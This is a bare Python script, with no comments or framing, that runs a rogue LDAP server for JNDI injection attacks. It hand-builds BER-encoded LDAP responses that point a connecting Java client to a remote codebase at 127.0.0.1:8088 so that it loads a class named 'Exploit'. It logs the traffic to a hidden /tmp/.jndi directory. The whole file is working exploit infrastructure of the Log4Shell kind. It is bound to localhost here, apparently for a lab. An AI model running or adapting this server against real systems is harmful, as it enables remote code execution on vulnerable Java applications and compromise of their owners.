#!/usr/bin/env python3 import socket, threading, time LOG = open('/tmp/.jndi/ldap.log', 'a') def ber_len(n): if n < 128: return bytes([n]) b = n.to_bytes((n.bit_length() + 7) // 8, 'big') return bytes([0x80 | len(b)]) + b def tlv(tag, content): return bytes([tag]) + ber_len(len(content)) + content def bind_resp(msgid): return tlv(0x30, tlv(0x02, bytes([msgid])) + tlv(0x61, tlv(0x0a, b'\x00') + tlv(0x04, b'') + tlv(0x04, b''))) def search_entry(msgid, dn): attrs = b'' for t, v in [(b'objectClass', b'javaNamingReference'), (b'javaClassName', b'Exploit'), (b'javaFactory', b'Exploit'), (b'javaCodeBase', b'http://127.0.0.1:8088/')]: attrs += tlv(0x30, tlv(0x04, t) + tlv(0x31, tlv(0x04, v))) return tlv(0x30, tlv(0x02, bytes([msgid])) + tlv(0x64, tlv(0x04, dn) + tlv(0x30, attrs)) + tlv(0x65, tlv(0x0a, b'\x00') + tlv(0x04, b'') + tlv(0x04, b''))) def get_msgid(data): if len(data) >= 5 and data[0] == 0x30 and data[2] == 0x02 and data[3] == 1: return data[4] return 1 def handle(c): try: LOG.write(time.strftime('%H:%M:%S') + ' conn\n'); LOG.flush() c.settimeout(15) data = c.recv(8192) LOG.write(time.strftime('%H:%M:%S') + ' recv1: ' + data.hex() + '\n'); LOG.flush() if not data: c.close(); return msgid = get_msgid(data) c.send(bind_resp(msgid)) data = c.recv(8192) LOG.write(time.strftime('%H:%M:%S') + ' recv2: ' + data.hex() + '\n'); LOG.flush() if not data: c.close(); return msgid = get_msgid(data) dn = b'Exploit' i = data.find(b'\x63') if i >= 0 and i + 2 < len(data): ln = data[i + 1] & 0x7f j = i + 2 + (1 if data[i + 1] < 128 else ln) if j + 1 < len(data) and data[j] == 0x04: dl = data[j + 1] & 0x7f dn = data[j + 2: j + 2 + dl] resp = search_entry(msgid, dn) LOG.write(time.strftime('%H:%M:%S') + ' send: ' + resp.hex() + '\n'); LOG.flush() c.send(resp) try: data = c.recv(8192) LOG.write(time.strftime('%H:%M:%S') + ' recv3: ' + data.hex() + '\n'); LOG.flush() except Exception: pass c.close() except Exception as e: LOG.write(time.strftime('%H:%M:%S') + ' err: ' + str(e) + '\n'); LOG.flush() try: c.close() except Exception: pass srv = socket.socket(socket.AF_INET, socket.SOCK_STREAM) srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) srv.bind(('127.0.0.1', 1389)) srv.listen(10) LOG.write(time.strftime('%H:%M:%S') + ' listening\n'); LOG.flush() while True: c, a = srv.accept() threading.Thread(target=handle, args=(c,)).start()